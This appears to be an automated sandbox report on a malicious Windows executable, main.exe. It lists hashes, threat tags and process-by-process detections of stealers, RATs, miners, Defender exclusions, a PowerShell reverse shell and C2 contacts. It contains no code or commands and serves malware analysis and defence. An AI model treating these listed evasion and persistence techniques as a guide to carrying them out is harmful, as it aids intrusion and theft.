File name:

main.exe

Full analysis: https://app.any.run/tasks/1254843f-b017-4063-9462-e38ff63b180f
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: July 04, 2025, 15:44:50
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
python
github
phishing
clickfix
possible-phishing
meterpreter
backdoor
payload
metasploit
miner
stealc
stealer
remcos
rat
amadey
botnet
scan
auto
generic
coinminer
asyncrat
formbook
azorult
nanocore
gh0st
remote
njrat
bruteratel
rhadamanthys
purelogs
purecrypter
bladabindi
quasarrat
discord
quasar
pyinstaller
delphi
bazaloader
stealerium
redline
anydesk
rmm-tool
xworm
stormkitty
whitesnakestealer
babadeda
havoc
evasion
dcrat
pythonstealer
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (console) x86-64, for MS Windows, 7 sections
MD5:

C942A56638772644D847709D906FA23D

SHA1:

12D6B77FEC2244CDC4050A083AA741185CC48010

SHA256:

56A28391D309102557FCF9BC34351A50B49054282F2007851DCBC4E825E7C37A

SSDEEP:

98304:R/0Cg6brcfRkzKVfq7AnYRO4Y6ZhkDQet54netUjZUj0vNQLFZfQpyJoic3yjHFD:ivfkEwE1MUQ881mw02/ki+BIsG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 2072)
      • Java32.exe (PID: 18404)
      • quasarat.exe (PID: 16264)

    • CLICKFIX has been detected (SURICATA)

      • svchost.exe (PID: 2200)
      • main.exe (PID: 2780)

    • PHISHING has been detected (SURICATA)

      • svchost.exe (PID: 2200)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 10344)
      • powershell.exe (PID: 10208)
      • powershell.exe (PID: 10268)
      • powershell.exe (PID: 10008)
      • powershell.exe (PID: 11548)
      • powershell.exe (PID: 13036)
      • powershell.exe (PID: 13460)
      • powershell.exe (PID: 13516)
      • powershell.exe (PID: 13928)
      • powershell.exe (PID: 11752)
      • powershell.exe (PID: 14340)
      • powershell.exe (PID: 14432)
      • powershell.exe (PID: 14768)
      • powershell.exe (PID: 16104)
      • powershell.exe (PID: 16348)
      • powershell.exe (PID: 16356)
      • powershell.exe (PID: 14224)
      • powershell.exe (PID: 15092)
      • powershell.exe (PID: 18232)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 16736)

    • Changes powershell execution policy (Bypass)

      • main.exe (PID: 2780)
      • powershell.exe (PID: 11548)

    • GENERIC has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • COINMINER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • METERPRETER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • ASYNCRAT has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • imagelogger.exe (PID: 13524)

    • GH0ST has been found (auto)

      • main.exe (PID: 2780)

    • METERPRETER has been detected (SURICATA)

      • main.exe (PID: 2780)

    • METASPLOIT has been detected (SURICATA)

      • main.exe (PID: 2780)

    • STEALC mutex has been found

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • STEALC has been detected

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • REMCOS mutex has been found

      • evetbeta.exe (PID: 12092)
      • prueba.exe (PID: 16280)
      • NOTallowedtocrypt.exe (PID: 20028)

    • REMCOS has been detected

      • evetbeta.exe (PID: 12092)
      • prueba.exe (PID: 16280)

    • Application was injected by another process

      • explorer.exe (PID: 4772)

    • Runs injected code in another process

      • JcQiZ5o.exe (PID: 7608)

    • METASPLOIT has been found (auto)

      • main.exe (PID: 2780)

    • Changes the autorun value in the registry

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • webhook.exe (PID: 16332)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 17200)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • quasarat.exe (PID: 16264)
      • Axam.exe (PID: 20064)
      • server.exe (PID: 1324)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • AMADEY mutex has been found

      • random.exe (PID: 13888)
      • suker.exe (PID: 15496)

    • NANOCORE has been found (auto)

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • main.exe (PID: 2780)

    • Create files in the Startup directory

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • imagelogger.exe (PID: 13524)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • RHADAMANTHYS has been found (auto)

      • main.exe (PID: 2780)

    • AMADEY has been detected (SURICATA)

      • nudwee.exe (PID: 10284)
      • suker.exe (PID: 15496)

    • REMCOS has been detected (SURICATA)

      • evetbeta.exe (PID: 12092)
      • Host.exe (PID: 15104)

    • NJRAT has been found (auto)

      • main.exe (PID: 2780)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 1324)

    • Connects to the CnC server

      • evetbeta.exe (PID: 12092)
      • nudwee.exe (PID: 10284)
      • main.exe (PID: 2780)
      • 1UCzP6D.exe (PID: 12612)
      • suker.exe (PID: 15496)
      • Server1.exe (PID: 13864)

    • QUASAR has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • AZORULT mutex has been detected

      • onetap.exe (PID: 14952)

    • Attempting to scan the network

      • award.pdf.exe (PID: 4884)

    • BAZALOADER has been found (auto)

      • main.exe (PID: 2780)

    • ASYNCRAT has been detected (MUTEX)

      • AsyncClient.exe (PID: 10548)
      • ddosziller.exe (PID: 10528)
      • Krishna33.exe (PID: 14424)
      • aaa%20(3).exe (PID: 16312)
      • freffercerere.exe (PID: 17732)
      • aaa%20(3).exe (PID: 13356)

    • Executing a file with an untrusted certificate

      • witheFile.exe (PID: 16552)

    • NJRAT mutex has been found

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Fast%20Download.exe (PID: 13904)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • Bloxflip Predictor.exe (PID: 17688)

    • STEALER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • PURELOGS has been detected (SURICATA)

      • 1UCzP6D.exe (PID: 12612)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 17968)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 20180)

    • PURELOGS has been found (auto)

      • main.exe (PID: 2780)

    • RAT has been found (auto)

      • SteamDetector.exe (PID: 16240)
      • SteamDetector.exe (PID: 19372)

    • QUASARRAT has been found (auto)

      • main.exe (PID: 2780)
      • Java32.exe (PID: 18404)

    • Adds path to the Windows Defender exclusion list

      • Vikings.exe (PID: 13492)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • svchost.exe (PID: 13912)
      • XClient.exe (PID: 11788)

    • Changes Windows Defender settings

      • Vikings.exe (PID: 13492)

    • DCRAT has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • HAVOC has been found (auto)

      • main.exe (PID: 2780)

    • NjRAT is detected

      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 10208)

    • XWORM has been detected (SURICATA)

      • System32.exe (PID: 12520)
      • RegAsm.exe (PID: 9044)

    • NJRAT has been detected (SURICATA)

      • Server1.exe (PID: 13864)

    • PYTHONSTEALER has been found (auto)

      • main.exe (PID: 2780)

    • FORMBOOK has been found (auto)

      • main.exe (PID: 2780)

    • REMCOS has been found (auto)

      • main.exe (PID: 2780)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 13036)

    • QUASAR mutex has been found

      • quasarat.exe (PID: 16264)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 10080)

  • SUSPICIOUS

    • The process drops C-runtime libraries

      • main.exe (PID: 3924)

    • Process drops python dynamic module

      • main.exe (PID: 3924)

    • Process drops legitimate windows executable

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)

    • Executable content was dropped or overwritten

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • QpKuKKY.exe (PID: 9300)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • random.exe (PID: 13888)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • 444.exe (PID: 14108)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • SteamDetector.exe (PID: 16240)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • suker.exe (PID: 15496)
      • new.exe (PID: 4192)
      • rundll32.exe (PID: 14668)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • powershell.exe (PID: 13036)
      • server.exe (PID: 1324)

    • Application launched itself

      • main.exe (PID: 3924)
      • cmd.exe (PID: 10256)
      • powershell.exe (PID: 11548)

    • Loads Python modules

      • main.exe (PID: 2780)

    • The process checks if it is being run in the virtual environment

      • main.exe (PID: 2780)
      • OpenWith.exe (PID: 15140)

    • Starts CMD.EXE for commands execution

      • main.exe (PID: 2780)
      • av_downloader.exe (PID: 13936)
      • av_downloader1.1.exe (PID: 13968)
      • pclient.exe (PID: 5184)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • webhook.exe (PID: 16332)
      • pornhub_downloader.exe (PID: 14972)
      • cmd.exe (PID: 10256)
      • NOTallowedtocrypt.exe (PID: 20028)

    • Connects to the server without a host name

      • main.exe (PID: 2780)
      • nudwee.exe (PID: 10284)
      • suker.exe (PID: 15496)
      • powershell.exe (PID: 10208)
      • powershell.exe (PID: 10080)

    • Process requests binary or script from the Internet

      • main.exe (PID: 2780)
      • suker.exe (PID: 15496)
      • powershell.exe (PID: 10080)

    • Connects to unusual port

      • main.exe (PID: 2780)
      • tmp.exe (PID: 10620)
      • sup.exe (PID: 12668)
      • elf.exe (PID: 11044)
      • sys.exe (PID: 11768)
      • Worldofficee.exe (PID: 14928)
      • Worldoffice.exe (PID: 14360)
      • evetbeta.exe (PID: 12092)
      • connector1.exe (PID: 15428)
      • Host.exe (PID: 15104)
      • RegAsm.exe (PID: 9044)
      • 1223.exe (PID: 15404)
      • 1UCzP6D.exe (PID: 12612)
      • System32.exe (PID: 12520)
      • https.exe (PID: 16288)
      • Server1.exe (PID: 13864)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • powershell.exe (PID: 13460)
      • powershell.exe (PID: 10344)
      • freffercerere.exe (PID: 17732)
      • imagelogger.exe (PID: 13524)

    • Block-list domains

      • main.exe (PID: 2780)

    • Potential Corporate Privacy Violation

      • main.exe (PID: 2780)
      • award.pdf.exe (PID: 4884)
      • suker.exe (PID: 15496)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 10080)
      • powershell.exe (PID: 19280)
      • powershell.exe (PID: 20180)

    • The process executes Powershell scripts

      • main.exe (PID: 2780)
      • cmd.exe (PID: 9884)
      • cmd.exe (PID: 14400)

    • Found IP address in command line

      • powershell.exe (PID: 10080)
      • powershell.exe (PID: 17968)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 19280)

    • Starts POWERSHELL.EXE for commands execution

      • main.exe (PID: 2780)
      • cmd.exe (PID: 9884)
      • cmd.exe (PID: 13468)
      • Vikings.exe (PID: 13492)
      • powershell.exe (PID: 11548)
      • cmd.exe (PID: 14400)
      • cmd.exe (PID: 12296)
      • cmd.exe (PID: 16224)
      • cmd.exe (PID: 14628)

    • Reads security settings of Internet Explorer

      • QpKuKKY.exe (PID: 9300)
      • nudwee.exe (PID: 10284)
      • av_downloader1.1.exe (PID: 13968)
      • random.exe (PID: 13888)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • onetap.exe (PID: 14952)
      • nfe.sfx.exe (PID: 16340)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • Host.exe (PID: 15104)
      • PCclear_Eng_mini.exe (PID: 14516)
      • suker.exe (PID: 15496)
      • 444.exe (PID: 14108)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • nfe.sfx.exe (PID: 6004)
      • SteamDetector.exe (PID: 16240)
      • new.exe (PID: 4192)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • justpoc.exe (PID: 20340)
      • NOTallowedtocrypt.exe (PID: 20028)

    • Starts itself from another location

      • QpKuKKY.exe (PID: 9300)
      • random.exe (PID: 13888)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • 444.exe (PID: 14108)
      • Server.exe (PID: 14616)
      • njrat.exe (PID: 14464)
      • SteamDetector.exe (PID: 16240)

    • Executing commands from a ".bat" file

      • main.exe (PID: 2780)
      • av_downloader.exe (PID: 13936)
      • av_downloader1.1.exe (PID: 13968)
      • webhook.exe (PID: 16332)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • cmd.exe (PID: 10256)

    • The process creates files with name similar to system file names

      • main.exe (PID: 2780)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • 444.exe (PID: 14108)
      • njrat.exe (PID: 14464)
      • rundll32.exe (PID: 14668)
      • SteamDetector.exe (PID: 19372)

    • Crypto Currency Mining Activity Detected

      • main.exe (PID: 2780)

    • Windows Defender mutex has been found

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • Executing commands from ".cmd" file

      • main.exe (PID: 2780)

    • Contacting a server suspected of hosting an CnC

      • nudwee.exe (PID: 10284)
      • evetbeta.exe (PID: 12092)
      • Host.exe (PID: 15104)
      • main.exe (PID: 2780)
      • suker.exe (PID: 15496)
      • System32.exe (PID: 12520)
      • Server1.exe (PID: 13864)
      • RegAsm.exe (PID: 9044)

    • Creates file in the systems drive root

      • explorer.exe (PID: 4772)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • Uses NETSH.EXE to add a firewall rule or allowed programs

      • Server1.exe (PID: 13864)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • SearchUII.exe (PID: 14316)
      • server.exe (PID: 1324)

    • Starts a Microsoft application from unusual location

      • webhook.exe (PID: 16332)
      • freffercerere.exe (PID: 17732)

    • Reads Microsoft Outlook installation path

      • nfe.sfx.exe (PID: 16340)
      • nfe.sfx.exe (PID: 6004)

    • Reads Internet Explorer settings

      • nfe.sfx.exe (PID: 16340)
      • nfe.sfx.exe (PID: 6004)

    • Uses ATTRIB.EXE to modify file attributes

      • Bloxflip%20Predictor.exe (PID: 14232)

    • Probably download files using WebClient

      • cmd.exe (PID: 13468)

    • Script adds exclusion path to Windows Defender

      • Vikings.exe (PID: 13492)

    • Executes application which crashes

      • Te.exe (PID: 17012)

    • ANYDESK has been found

      • main.exe (PID: 2780)

    • The process hide an interactive prompt from the user

      • powershell.exe (PID: 11548)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 11548)

    • Executes script without checking the security policy

      • powershell.exe (PID: 2704)

    • Potential TCP-based PowerShell reverse shell connection

      • powershell.exe (PID: 11548)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 11548)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 13036)

    • Starts NET.EXE to display or manage information about active sessions

      • cmd.exe (PID: 16156)
      • net.exe (PID: 19440)

    • Checks for external IP

      • svchost.exe (PID: 2200)
      • imagelogger.exe (PID: 13524)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • quasarat.exe (PID: 16264)

    • Write to the desktop.ini file (may be used to cloak folders)

      • SWID_reader.exe (PID: 19132)

    • Uses NETSH.EXE to change the status of the firewall

      • powershell.exe (PID: 10008)

    • Reads the date of Windows installation

      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • new.exe (PID: 4192)
      • XClient.exe (PID: 11788)

    • Starts process via Powershell

      • powershell.exe (PID: 20180)

    • Gets path to any of the special folders (POWERSHELL)

      • powershell.exe (PID: 14768)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 14768)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 13036)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 14520)

  • INFO

    • Checks supported languages

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • JcQiZ5o.exe (PID: 7608)
      • VZXCHH66.exe (PID: 8000)
      • RegAsm.exe (PID: 9044)
      • QpKuKKY.exe (PID: 9300)
      • nudwee.exe (PID: 10284)
      • AsyncClient.exe (PID: 10548)
      • ddosziller.exe (PID: 10528)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • elf.exe (PID: 11044)
      • shell.exe (PID: 11256)
      • XClient.exe (PID: 11788)
      • DumpAADUserPRT.exe (PID: 9340)
      • sup.exe (PID: 12668)
      • VOLATUS0.5.exe (PID: 12648)
      • sys.exe (PID: 11768)
      • TEST.exe (PID: 12632)
      • uac_bypass.exe (PID: 12892)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • vtoroy.exe (PID: 13012)
      • evetbeta.exe (PID: 12092)
      • 1UCzP6D.exe (PID: 12612)
      • System32.exe (PID: 12520)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • kg.exe (PID: 11732)
      • Doppelganger.exe (PID: 11964)
      • svchost.exe (PID: 13912)
      • mimilove.exe (PID: 11536)
      • imagelogger.exe (PID: 13524)
      • pclient.exe (PID: 5184)
      • kdmapper_Release.exe (PID: 13476)
      • World%20of%20Tanks.exe (PID: 13484)
      • script.exe (PID: 13896)
      • random.exe (PID: 13888)
      • keygen.exe (PID: 13508)
      • Fast%20Download.exe (PID: 13904)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • 444.exe (PID: 14108)
      • perviy.exe (PID: 13944)
      • av_downloader1.1.exe (PID: 13968)
      • 444.exe (PID: 14100)
      • Vikings.exe (PID: 13492)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • SearchUII.exe (PID: 14316)
      • award.pdf.exe (PID: 4884)
      • ExportTableTester.exe (PID: 13920)
      • av_downloader.exe (PID: 13936)
      • plantrojan.exe (PID: 14228)
      • Server1.exe (PID: 13864)
      • pst.exe (PID: 1632)
      • Worldoffice.exe (PID: 14360)
      • tretiy.exe (PID: 14472)
      • njrat.exe (PID: 14464)
      • Terminal_9235.exe (PID: 14456)
      • Server.exe (PID: 14636)
      • njrat.exe (PID: 14628)
      • winbox.exe (PID: 15016)
      • Server.exe (PID: 14616)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • Krishna33.exe (PID: 14424)
      • client.exe (PID: 15112)
      • Worldofficee.exe (PID: 14928)
      • njrat.exe (PID: 14480)
      • winbox.exe (PID: 15128)
      • onetap.exe (PID: 14952)
      • pornhub_downloader.exe (PID: 14972)
      • Host.exe (PID: 15104)
      • Lab01-02.exe (PID: 14384)
      • process-injection.exe (PID: 14964)
      • connector1.exe (PID: 15428)
      • suker.exe (PID: 15496)
      • self-injection.exe (PID: 14984)
      • https.exe (PID: 16288)
      • SteamDetector.exe (PID: 16240)
      • ipscan.exe (PID: 16296)
      • aaa%20(3).exe (PID: 16312)
      • webhook.exe (PID: 16332)
      • nfe.sfx.exe (PID: 16340)
      • zeropersca.exe (PID: 16364)
      • s.exe (PID: 16248)
      • boleto.exe (PID: 15368)
      • quasarat.exe (PID: 16264)
      • prueba.exe (PID: 16280)
      • Network.exe (PID: 15376)
      • Installer.exe (PID: 14288)
      • Anap.a.exe (PID: 16320)
      • 1223.exe (PID: 15404)
      • discord.exe (PID: 13896)
      • PCclear_Eng_mini.exe (PID: 14516)
      • CrazyCoach.exe (PID: 14536)
      • Axam.a.exe (PID: 13948)
      • TestExe.exe (PID: 15412)
      • Te.exe (PID: 17012)
      • donut.exe (PID: 16304)
      • donut.exe (PID: 16232)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • your_app.exe (PID: 17320)
      • witheFile.exe (PID: 16552)
      • server.exe (PID: 17200)
      • hack.exe (PID: 16272)
      • Neverlose%20Loader.exe (PID: 17500)
      • Bloxflip Predictor.exe (PID: 17688)
      • freffercerere.exe (PID: 17732)
      • conhost.exe (PID: 17760)
      • intro.avi.exe (PID: 12616)
      • aaa%20(3).exe (PID: 13356)
      • mimikatz.exe (PID: 17616)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 1324)
      • nfe.sfx.exe (PID: 6004)
      • new.exe (PID: 4192)
      • Client-built.exe (PID: 10108)
      • Java32.exe (PID: 18404)
      • SWID_reader.exe (PID: 19132)
      • Client-built.exe (PID: 18572)
      • SteamDetector.exe (PID: 19372)
      • srtware.exe (PID: 18508)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20016)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 19492)
      • justpoc.exe (PID: 20340)
      • toolwin.exe (PID: 20320)
      • Axam.exe (PID: 20232)
      • NOTallowedtocrypt.exe (PID: 20028)

    • The sample compiled with english language support

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)

    • Create files in a temporary directory

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • QpKuKKY.exe (PID: 9300)
      • av_downloader1.1.exe (PID: 13968)
      • av_downloader.exe (PID: 13936)
      • pst.exe (PID: 1632)
      • random.exe (PID: 13888)
      • Server1.exe (PID: 13864)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • TEST.exe (PID: 12632)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • webhook.exe (PID: 16332)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)
      • imagelogger.exe (PID: 13524)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20016)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • srtware.exe (PID: 18508)
      • Axam.exe (PID: 19492)
      • Axam.exe (PID: 20232)
      • quasarat.exe (PID: 16264)

    • Reads the computer name

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • RegAsm.exe (PID: 9044)
      • VZXCHH66.exe (PID: 8000)
      • QpKuKKY.exe (PID: 9300)
      • JcQiZ5o.exe (PID: 7608)
      • AsyncClient.exe (PID: 10548)
      • ddosziller.exe (PID: 10528)
      • nudwee.exe (PID: 10284)
      • elf.exe (PID: 11044)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • sys.exe (PID: 11768)
      • XClient.exe (PID: 11788)
      • sup.exe (PID: 12668)
      • TEST.exe (PID: 12632)
      • VOLATUS0.5.exe (PID: 12648)
      • DumpAADUserPRT.exe (PID: 9340)
      • vtoroy.exe (PID: 13012)
      • evetbeta.exe (PID: 12092)
      • 1UCzP6D.exe (PID: 12612)
      • Doppelganger.exe (PID: 11964)
      • imagelogger.exe (PID: 13524)
      • System32.exe (PID: 12520)
      • svchost.exe (PID: 13912)
      • kg.exe (PID: 11732)
      • keygen.exe (PID: 13508)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • perviy.exe (PID: 13944)
      • Fast%20Download.exe (PID: 13904)
      • random.exe (PID: 13888)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • av_downloader1.1.exe (PID: 13968)
      • Vikings.exe (PID: 13492)
      • SearchUII.exe (PID: 14316)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • Server1.exe (PID: 13864)
      • tretiy.exe (PID: 14472)
      • ExportTableTester.exe (PID: 13920)
      • Terminal_9235.exe (PID: 14456)
      • pst.exe (PID: 1632)
      • Host.exe (PID: 15104)
      • Krishna33.exe (PID: 14424)
      • pornhub_downloader.exe (PID: 14644)
      • client.exe (PID: 15112)
      • onetap.exe (PID: 14952)
      • Lab01-02.exe (PID: 14384)
      • pornhub_downloader.exe (PID: 14972)
      • winbox.exe (PID: 15128)
      • winbox.exe (PID: 15016)
      • pornhub_downloader.exe (PID: 14936)
      • suker.exe (PID: 15496)
      • 444.exe (PID: 14100)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • 444.exe (PID: 14108)
      • self-injection.exe (PID: 14984)
      • aaa%20(3).exe (PID: 16312)
      • s.exe (PID: 16248)
      • https.exe (PID: 16288)
      • boleto.exe (PID: 15368)
      • quasarat.exe (PID: 16264)
      • njrat.exe (PID: 14628)
      • Server.exe (PID: 14636)
      • nfe.sfx.exe (PID: 16340)
      • njrat.exe (PID: 14480)
      • ipscan.exe (PID: 16296)
      • njrat.exe (PID: 14464)
      • Installer.exe (PID: 14288)
      • discord.exe (PID: 13896)
      • Server.exe (PID: 14616)
      • TestExe.exe (PID: 15412)
      • Network.exe (PID: 15376)
      • PCclear_Eng_mini.exe (PID: 14516)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • Neverlose%20Loader.exe (PID: 17500)
      • Bloxflip Predictor.exe (PID: 17688)
      • freffercerere.exe (PID: 17732)
      • Anap.a.exe (PID: 16320)
      • SteamDetector.exe (PID: 16240)
      • intro.avi.exe (PID: 12616)
      • Axam.a.exe (PID: 13948)
      • aaa%20(3).exe (PID: 13356)
      • your_app.exe (PID: 17320)
      • Client-built.exe (PID: 10108)
      • nfe.sfx.exe (PID: 6004)
      • new.exe (PID: 4192)
      • conhost.exe (PID: 17760)
      • Java32.exe (PID: 18404)
      • rundll32.exe (PID: 14668)
      • srtware.exe (PID: 18508)
      • Client-built.exe (PID: 18572)
      • SWID_reader.exe (PID: 19132)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • CrazyCoach.exe (PID: 14536)
      • justpoc.exe (PID: 20340)
      • toolwin.exe (PID: 20320)
      • server.exe (PID: 17200)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20016)
      • Axam.exe (PID: 20072)

    • Creates files or folders in the user directory

      • Taskmgr.exe (PID: 6240)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Server1.exe (PID: 13864)
      • explorer.exe (PID: 4772)
      • 444.exe (PID: 14108)
      • Network.exe (PID: 15376)
      • Host.exe (PID: 15104)
      • SteamDetector.exe (PID: 16240)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)
      • conhost.exe (PID: 17760)
      • new.exe (PID: 4192)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • Reads security settings of Internet Explorer

      • Taskmgr.exe (PID: 6240)

    • Checks proxy server information

      • main.exe (PID: 2780)
      • nudwee.exe (PID: 10284)
      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • onetap.exe (PID: 14952)
      • https.exe (PID: 16288)
      • Host.exe (PID: 15104)
      • suker.exe (PID: 15496)
      • nfe.sfx.exe (PID: 16340)
      • PCclear_Eng_mini.exe (PID: 14516)
      • powershell.exe (PID: 10208)
      • svchost.exe (PID: 13912)
      • imagelogger.exe (PID: 13524)
      • XClient.exe (PID: 11788)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
